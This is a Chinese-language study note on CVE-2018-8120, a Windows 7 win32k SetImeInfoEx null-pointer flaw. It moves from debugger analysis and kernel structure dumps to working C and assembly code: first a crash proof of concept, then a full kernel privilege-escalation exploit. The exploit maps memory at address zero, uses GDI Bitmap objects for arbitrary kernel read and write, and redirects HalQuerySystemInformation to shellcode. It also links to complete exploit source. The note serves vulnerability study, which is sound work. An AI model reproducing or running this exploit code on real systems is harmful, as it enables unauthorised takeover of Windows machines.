CVE-2018-8120提權漏洞學習筆記
簡介
1、漏洞描述
該漏洞存在與win32k模塊中的SetImeInfoEx函數,在該函數中未對tagWINDOWSTATION結構偏移0x14的spkiList進行有效性驗證就對其進行解引用操作,而spkList可以為NULL,此時就會對地址0x14進行解引用操作,導致系統崩潰。通過在0地址申請內存的方式可以繞過解引用產生的系統崩潰,函數會繼續向下運行執行寫操作,通過這個寫操作可以完成任意地址寫,最終完成提權。
2、實驗環境
- 操作系統:Win7 x86 sp1 專業版
- 編譯器:Visual Studio 2017
- 調試器:IDA Pro,WinDbg
漏洞分析
1、漏洞成因
SetImeInfoEx函數的反匯編結果如下:

圖1 SetImeInfoEx函數反匯編
第1處的代碼是取出參數pWinStation偏移0x14處的內容,參數pWinStation是tagWINDOWSTATION結構,該結構體定義如下:
2: kd> dt win32k!tagWINDOWSTATION +0x000 dwSessionId : Uint4B +0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION +0x008 rpdeskList : Ptr32 tagDESKTOP +0x00c pTerm : Ptr32 tagTERMINAL +0x010 dwWSF_Flags : Uint4B +0x014 spklList : Ptr32 tagKL +0x018 ptiClipLock : Ptr32 tagTHREADINFO +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO +0x020 spwndClipOpen : Ptr32 tagWND +0x024 spwndClipViewer : Ptr32 tagWND +0x028 spwndClipOwner : Ptr32 tagWND +0x02c pClipBase : Ptr32 tagCLIP +0x030 cNumClipFormats : Uint4B +0x034 iClipSerialNumber : Uint4B +0x038 iClipSequenceNumber : Uint4B +0x03c spwndClipboardListener : Ptr32 tagWND +0x040 pGlobalAtomTable : Ptr32 Void +0x044 luidEndSession : _LUID +0x04c luidUser : _LUID +0x054 psidUser : Ptr32 Void
偏移0x14處的成員是spkList,該成員指向tagKL結構,結構體定義如下:
2: kd> dt win32k!tagKL +0x000 head : _HEAD +0x008 pklNext : Ptr32 tagKL +0x00c pklPrev : Ptr32 tagKL +0x010 dwKL_Flags : Uint4B +0x014 hkl : Ptr32 HKL__ +0x018 spkf : Ptr32 tagKBDFILE +0x01c spkfPrimary : Ptr32 tagKBDFILE +0x020 dwFontSigs : Uint4B +0x024 iBaseCharset : Uint4B +0x028 CodePage : Uint2B +0x02a wchDiacritic : Wchar +0x02c piiex : Ptr32 tagIMEINFOEX +0x030 uNumTbl : Uint4B +0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE +0x038 dwLastKbdType : Uint4B +0x03c dwLastKbdSubType : Uint4B +0x040 dwKLID : Uint4B
獲取spkList后,就在第2處進行對spkList偏移0x14處的地址進行解引用操作。可是,在執行2處的代碼之前,函數并沒有驗證spkList是否合法。如果spkList為NULL,那么此時2處的代碼就是對地址0x14進行解引用,因為0x14不是個合法地址,就回導致系統崩潰。
2、漏洞驗證
要驗證這個漏洞,需要兩個步驟,首先這個漏洞是由于SetImeInfoEx函數對tagWINDOWSTATION結構體中的spkList成員操作產生的,需要首先調用函數CreateWindowStation來創建一個tagWINDOWSTATION結構體,該函數定義如下:
HWINSTA WINAPI CreateWindowStation( __in_opt LPCTSTR lpwinsta, DWORD dwFlags, __in ACCESS_MASK dwDesiredAccess, __in_opt LPSECURITY_ATTRIBUTES lpsa);
創建完結構體以后,需要通過SetProcessWindowStation來為當前進程設置創建的tagWINDOWSTATION,該函數定義如下:
BOOL WINAPI SetProcessWindowStation( __in HWINSTA hWinSta);
為當前進程設置完結構體以后,就可以來觸發漏洞,通過IDA交叉引用可以發現,只有NtUserSetImeInfoEx函數調用了SetImeInfoEx函數,該函數的反匯編結果如下:

在第1處,函數將參數內容復制到imeInfoEx中作為調用SetImeInfoEx函數的第二個參數,在2處通過調用GetProcessWindowStation來作為調用SetImeInfoEx函數的第一個參數。那么此時,第一個參數就是創建的tagWINDOWSTATION,第二個參數通過調用NtUserSetImeInfoEx時指定,也就是可以由我們來指定。
NtUserSetImeInfoEx函數是未導出函數,所以只能通過自己指定調用號產生系統調用來調用該函數,而NtUserSetImeInfoEx函數的調用號為0x1226,所以,可以使用如下代碼來調用NtUserSetImeInfoEx函數:
BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0){ __asm { mov esi, arg0 mov eax, 0x1226 // NtUserSetImeInfoEx的調用號 mov edx, 0x7FFE0300 call dword ptr[edx] ret 4 }}
由此,可以寫出如下的POC:
BOOL POC_CVE_2018_8120(){ BOOL bRet = TRUE; HWINSTA hSta = NULL; // 創建tagWINDOWSTATION結構體 hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL); if (hSta == NULL) { ShowError("CreateWindowStation", GetLastError()); bRet = FALSE; goto exit; } // 將創建的結構體設置到本進程中 if (!SetProcessWindowStation(hSta)) { ShowError("SetProcessWindowStation", GetLastError()); bRet = FALSE; goto exit; } char szBuf[0x15C] = { 0 }; CallNtUserSetImeInfoEx((PVOID)szBuf); exit: return bRet;}
編譯運行POC,此時系統就會崩潰,崩潰信息如下,可以看到,產生崩潰的指令是在對[eax+0x14]的地址進行解引用產生的,這條指令就對應圖1中的第2處的代碼,此時寄存器eax的值為0,所以執行這條指令時,會對0x14地址進行解引用,該地址是并不是有效地址,就導致了系統的崩潰。
nt!RtlpBreakWithStatusInstruction:83e95110 cc int 3kd> gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!)win32k!SetImeInfoEx+0x17:969a007c 395014 cmp dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> kChildEBP RetAddr 92085a90 969a003d win32k!SetImeInfoEx+0x1792085c28 83e581ea win32k!NtUserSetImeInfoEx+0x6592085c28 772870b4 nt!KiFastCallEntry+0x12a0012fd98 0040105f ntdll!KiFastSystemCallRet
漏洞利用
1、利用原理
由上內容可知,之所以產生崩潰是因為地址0x14是無效地址,因此,可以通過在0地址申請內存的方式讓該地址有效,這樣執行圖1的第2處代碼的時候就不會產生系統的崩潰,繼續向下執行。在執行圖1的第5處的代碼的時候,會產生寫操作。
函數會向spkList偏移0x2C處保存的地址進行寫入操作,由于此時spkList為0,所以函數會向0x2C中保存的地址進行寫入操作。寫入的內容則由傳入的參數決定,這個參數又可以在調用NtUserSetImeInfoEx函數時指定。
因此,可以通過將地址0x2C賦值為保存了HalQuerySystemInformation函數地址的地址,在調用NtUserSetImeInfoEx函數時指定參數的前4字節為ShellCode地址的方式,來對保存HalQuerySystemInformation函數地址的地址中的內容修改為ShellCode的地址,這樣通過NtQueryIntervalProfile函數就可以調用ShellCode。
根據上述思路,此時就可以用以下的代碼來實現提權:
BOOL Trigger_CVE_2018_8120(){ BOOL bRet = TRUE; // 0地址分配內存 if (!AllocateZeroMemory()) { bRet = FALSE; goto exit; } // 獲取保存HalQuerySystemInformation函數地址的地址 PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation(); if (!pHalQuerySystemInformation) { bRet = FALSE; goto exit; } // 指定被寫入的地址 *(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation; // 繞過while循環的驗證 *(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120; char szBuf[0x15C] = { 0 }; // 指定要寫入的內容是ShellCode的地址 *(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120; // 觸發漏洞 if (!CallNtUserSetImeInfoEx(szBuf)) { ShowError("CallNtUserSetImeInfoEx", GetLastError()); bRet = FALSE; goto exit; } // 調用NtQueryIntervalProfile if (!CallNtQueryIntervalProfile()) { bRet = FALSE; goto exit; } exit: return bRet;}
可是此時提權并不會成功,接下來通過WinDbg進行分析,首先運行到之前導致系統崩潰處的指令,也就是圖1中第2處執行的代碼,可以看到雖然此時eax依然為0,但是因為在0地址申請了內存,此時0x14地址是有效的,所以不會產生系統的崩潰。
3: kd> pwin32k!SetImeInfoEx+0x17:96ac007c 395014 cmp dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> pwin32k!SetImeInfoEx+0x1a:96ac007f 740e je win32k!SetImeInfoEx+0x2a (96ac008f)
繼續向下運行,就會執行到圖1中第3處的代碼,此時會將地址0x2C中保存的要修改的保存了HalQuerySystemInformation函數地址的地址賦值給eax,此時eax就不會為0,函數會繼續運行。
3: kd> pwin32k!SetImeInfoEx+0x2a:96ac008f 8b402c mov eax,dword ptr [eax+2Ch]3: kd> pwin32k!SetImeInfoEx+0x2d:96ac0092 85c0 test eax,eax3: kd> r eaxeax=83f6f3fc3: kd> pwin32k!SetImeInfoEx+0x2f:96ac0094 74f2 je win32k!SetImeInfoEx+0x23 (96ac0088)
繼續向下運行就會執行下面的判斷指令,判斷eax+0x48處保存的內容是否為0,如果不為0則會進行跳轉,這兩條指令對應的就是圖1中的第4處代碼。此時eax保存的是保存了HalQuerySystemInformation函數地址的地址,該地址偏移0x48處保存的內容并不為0,這樣就跳過了memcpy函數的調用,不會成功執行寫入操作,導致程序提權失敗。

2、Bitmap
為了成功利用該漏洞,就需要通過BitMap來實現任意地址的讀寫操作。Bitmap對象的可以通過CreateBitmap函數創建,該函數定義如下:
HRESULT CreateBitmap(UINT uiWidth, UINT uiHeight, REFWICPixelFormatGUID pixelFormat, WICBitmapCreateCacheOption option, IWICBitmap **ppIBitmap);
當用戶態程序通過CreateBitmap函數創建了一個Bitmap對象以后,就會在PEB結構中偏移0x094的成員GdiSharedHandleTable所指的結構體數組中增加一項該結構。
3: kd> dt _PEBntdll!_PEB +0x000 InheritedAddressSpace : UChar ... +0x090 ProcessHeaps : Ptr32 Ptr32 Void +0x094 GdiSharedHandleTable : Ptr32 Void +0x098 ProcessStarterHelper : Ptr32 Void ....
而GditSharedHandleTable所指的是GDICELL結構數組,該結構體定義如下:
typedef struct _GDICELL{ LPVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; LPVOID pUserAddress;} GDICELL;
其中第一項pKernelAddress指向了SURFACE結構體,該結構體定義如下:
typedef struct _SURFACE{ BASEOBJECT BaseObject; SURFOBJ SurfObj; //XDCOBJ * pdcoAA; FLONG flags; struct _PALETTE * const ppal; // Use SURFACE_vSetPalette to assign a palette struct _EWNDOBJ *pWinObj; union { HANDLE hSecureUMPD; // if UMPD_SURFACE set HANDLE hMirrorParent;// if MIRROR_SURFACE set HANDLE hDDSurface; // if DIRECTDRAW_SURFACE set }; SIZEL sizlDim; /* For SetBitmapDimension(), do NOT use to get width/height of bitmap, use bitmap.bmWidth/bitmap.bmHeight for that */ HDC hdc; // Doc in "Undocumented Windows", page 546, seems to be supported with XP. ULONG cRef; HPALETTE hpalHint; /* For device-independent bitmaps: */ HANDLE hDIBSection; HANDLE hSecure; DWORD dwOffset; //UINT unk_078; /* reactos specific */ DWORD biClrImportant;} SURFACE, *PSURFACE;
該結構體中保存的前兩個成員的結構如下:
typedef struct _BASEOBJECT { HANDLE hHmgr; 0x04 PVOID pEntry; 0x08 LONG cExclusiveLock; 0x0d PW32THREAD Tid;0x10}BASEOBJECT, *POBJ; typedef struct _SURFOBJ { DHSURF dhsurf; HSURF hsurf; DHPDEV dhpdev; HDEV hdev; SIZEL sizlBitmap; ULONG cjBits; PVOID pvBits; PVOID pvScan0; LONG lDelta; ULONG iUniq; ULONG iBitmapFormat; USHORT iType; USHORT fjBitmap;} SURFOBJ;
其中SURFOBJ結構體中的pvScan0中保存的地址指向內核空間之中,在用戶態可以通過GetBitmaps和SetBitmaps函數來對pvScan0指向的內核空間中的內容進行讀寫操作。此時可以創建兩個Bitmap對象,分別是hWorker和hManager,這兩個Bitmap對象對應的pvScan0分別是wpv和mpv。
通過漏洞的任意地址讀寫的功能,可以將wpv指向的數據復制到mpv中,此時通過SetBitmapBits來設置hManager的可修改地址為保存HalQuerySystemInformation函數地址的地址。
設置完成了hManager的可修改地址,此時就可以通過hWorker來對hManager的可修改地址,也就是保存HalQuerySystemInformation函數地址的地址進行讀寫。
這種方式之所以能完成,也是因為此時mpv所指向的地址偏移0x48處的內容為0,另外,因此復制的時候會復制0x15C個字節,所以mpv后面的內容要保證不被修改,就需要在復制的源地址處進行正確的賦值。

此時,漏洞利用的代碼如下:
BOOL Trigger_CVE_2018_8120(){ BOOL bRet = TRUE; HBITMAP hManger = NULL, hWorker = NULL; DWORD dwBuf[0x60] = { 0x90 }; PVOID mpv = NULL, wpv = NULL; PVOID pOrgAddr = NULL; PVOID pTargetAddr = (PVOID)ShellCode_CVE_2018_8120; // 0地址分配內存 if (!AllocateZeroMemory()) { bRet = FALSE; goto exit; } hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf); hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf); if (!hManger || !hWorker) { ShowError("CreateBitmap", GetLastError()); bRet = FALSE; goto exit; } mpv = GetPvScan(hManger); wpv = GetPvScan(hWorker); // 指定被寫入的地址 *(PDWORD)(0x2C) = (DWORD)mpv; // 繞過while循環的驗證 *(PDWORD)(0x14) = (DWORD)wpv; DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 }; // 指定要寫入的內容 szBuf[0] = (DWORD)wpv; szBuf[1] = 0x180; szBuf[2] = 0x1D95; szBuf[3] = 6; szBuf[4] = 0x10000; szBuf[5] = 0x0; szBuf[6] = 0x4800200; // 觸發漏洞 if (!CallNtUserSetImeInfoEx(szBuf)) { ShowError("CallNtUserSetImeInfoEx", GetLastError()); bRet = FALSE; goto exit; } // 獲取保存HalQuerySystemInformation函數地址的地址 PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation(); if (!pHalQuerySystemInformation) { bRet = FALSE; goto exit; } // 設置hManger的可修改地址為保存HalQuerySystemInformation函數地址的地址 SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation); // 獲取可修改的地址中的內容 GetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr); // 將可修改地址中的值修改為ShellCode地址 SetBitmapBits(hWorker, sizeof(PVOID), &pTargetAddr); // 調用NtQueryIntervalProfile,執行ShellCode if (!CallNtQueryIntervalProfile()) { bRet = FALSE; goto exit; } // 將可修改地址中的內容恢復回去 SetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);exit: return bRet;} PVOID GetPvScan(HBITMAP hBitHandle){ DWORD dwGdiCellArray = GetGdiCellArray(); PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL)); return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);} DWORD GetGdiCellArray(){ __asm { mov eax, fs:[0x30] // eax = PEB mov eax, [eax + 0x94] // eax = GDICELL數組首地址 }}
此時在編譯運行到圖1的第4處驗證,此時目標地址偏移0x48處的內容為0,函數不會發生跳轉,接下去將執行復制操作。

隨后的GetBitmapBits/SetBitmapBits就可以實現對HalQuerySystemInformation的修改,最終通過調用NtQueryIntervalProfile就會完成提權。
運行結果
完整的exp代碼在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2018-8120.cpp
可以看到,運行exp以后會成功完成提權:
